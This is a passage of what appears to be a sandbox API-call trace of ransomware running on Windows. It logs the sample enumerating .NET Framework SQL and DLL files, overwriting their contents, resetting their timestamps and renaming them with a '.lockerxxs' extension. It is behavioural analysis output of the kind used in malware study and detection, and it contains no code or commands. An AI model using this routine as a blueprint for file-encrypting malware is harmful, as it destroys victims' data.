0x26 [0137.847] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x83a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x83a, lpOverlapped=0x0) returned 1 [0137.848] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.849] CloseHandle (hObject=0x94) returned 1 [0137.849] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql.lockerxxs")) returned 1 [0137.849] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x5d5c, dwReserved0=0xd20001d3, dwReserved1=0x4e00c4, cFileName="SqlPersistenceService_Logic.sql", cAlternateFileName="SQLPER~3.SQL")) returned 1 [0137.850] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.850] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql") returned="SqlPersistenceProviderSchema.sql" [0137.858] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql") returned="SqlPersistenceService_Logic.sql" [0137.858] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.859] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5d36, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5d36, lpOverlapped=0x0) returned 1 [0137.860] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.861] CloseHandle (hObject=0x94) returned 1 [0137.861] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql.lockerxxs")) returned 1 [0137.862] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f0c4020, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0xd20001d3, dwReserved1=0x4e00c4, cFileName="SqlPersistenceService_Schema.sql", cAlternateFileName="SQLPER~4.SQL")) returned 1 [0137.862] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.862] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql") returned="SqlPersistenceService_Logic.sql" [0137.866] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql") returned="SqlPersistenceService_Schema.sql" [0137.866] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.866] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10a2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10a2, lpOverlapped=0x0) returned 1 [0137.867] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.867] CloseHandle (hObject=0x94) returned 1 [0137.868] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql.lockerxxs")) returned 1 [0137.868] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xf89e, dwReserved0=0xd20001d3, dwReserved1=0x4e00c4, cFileName="SqlWorkflowInstanceStoreLogic.sql", cAlternateFileName="SQLWOR~1.SQL")) returned 1 [0137.869] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.874] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.874] CloseHandle (hObject=0x94) returned 1 [0137.874] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql.lockerxxs")) returned 1 [0137.876] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x7088, dwReserved0=0xd30001d2, dwReserved1=0x4e00c4, cFileName="SqlWorkflowInstanceStoreSchema.sql", cAlternateFileName="SQLWOR~2.SQL")) returned 1 [0137.876] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.881] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.881] CloseHandle (hObject=0x94) returned 1 [0137.881] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql.lockerxxs")) returned 1 [0137.883] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f669d00, ftCreationTime.dwHighDateTime=0x1cd5d11, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5f669d00, ftLastWriteTime.dwHighDateTime=0x1cd5d11, nFileSizeHigh=0x0, nFileSizeLow=0x137b9, dwReserved0=0xd30001d2, dwReserved1=0x4e00c4, cFileName="SqlWorkflowInstanceStoreSchemaUpgrade.sql", cAlternateFileName="SQLWOR~3.SQL")) returned 1 [0137.883] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.889] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.889] CloseHandle (hObject=0x94) returned 1 [0137.889] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql.lockerxxs")) returned 1 [0137.890] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x5d2a4, dwReserved0=0xcf0001ce, dwReserved1=0x4e00c4, cFileName="Tracking_Logic.sql", cAlternateFileName="TRACKI~1.SQL")) returned 1 [0137.891] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.902] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.902] CloseHandle (hObject=0x94) returned 1 [0137.902] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_logic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_logic.sql.lockerxxs")) returned 1 [0137.904] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0xc66e, dwReserved0=0xdb0001da, dwReserved1=0x4e00c4, cFileName="Tracking_Schema.sql", cAlternateFileName="TRACKI~2.SQL")) returned 1 [0137.904] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.909] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.909] CloseHandle (hObject=0x94) returned 1 [0137.909] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_schema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_schema.sql.lockerxxs")) returned 1 [0137.911] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0xc66e, dwReserved0=0xdb0001da, dwReserved1=0x4e00c4, cFileName="Tracking_Schema.sql", cAlternateFileName="TRACKI~2.SQL")) returned 0 [0137.911] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.911] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 0 [0137.911] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.911] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x618d3820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x20488, dwReserved0=0x510053, dwReserved1=0x4c, cFileName="sysglobl.dll", cAlternateFileName="")) returned 1 [0137.913] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.914] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6191fae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xac510, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.Core.Presentation.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0137.914] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.915] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x619b8060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0137.915] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.915] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61a2a480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22928, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.DurableInstancing.dll", cAlternateFileName="SYSTEM~3.DLL")) returned 1 [0137.915] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ac2a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2004f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.Presentation.dll", cAlternateFileName="SYSTEM~4.DLL")) returned 1 [0137.916] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b34e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="SY003F~1.DLL")) returned 1 [0137.916] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x276b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SY86B8~1.DLL")) returned 1 [0137.916] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.917] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ba7240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7308, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Collections.Concurrent.dll", cAlternateFileName="SY0307~1.DLL")) returned 1 [0137.917] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.917] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61bf3500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Collections.dll", cAlternateFileName="SYDF3A~1.DLL")) returned 1 [0137.917] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c19660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7720, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.Annotations.dll", cAlternateFileName="SY3EA5~1.DLL")) returned 1 [0137.918] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c65920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4bf20, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.Composition.dll", cAlternateFileName="SYF918~1.DLL")) returned 1 [0137.918] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cb1be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xf578, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.componentmodel.composition.registration.dll", cAlternateFileName="SY040F~1.DLL")) returned 1 [0137.918] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.919] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cd7d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1d538, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="SY19A5~1.DLL")) returned 1 [0137.919] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.919] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61d24000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.dll", cAlternateFileName="SY4AF1~1.DLL")) returned 1 [0137.919] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61d4a160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7338, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.EventBasedAsync.dll", cAlternateFileName="SYEFFE~1.DLL")) returned 1 [0137.920] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66193880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x624d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Configuration.dll", cAlternateFileName="SY78B3~1.DLL")) returned 1 [0137.920] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x661dfb40, ftLastAccessTime.dwHighDateTime=0x1d2e676, 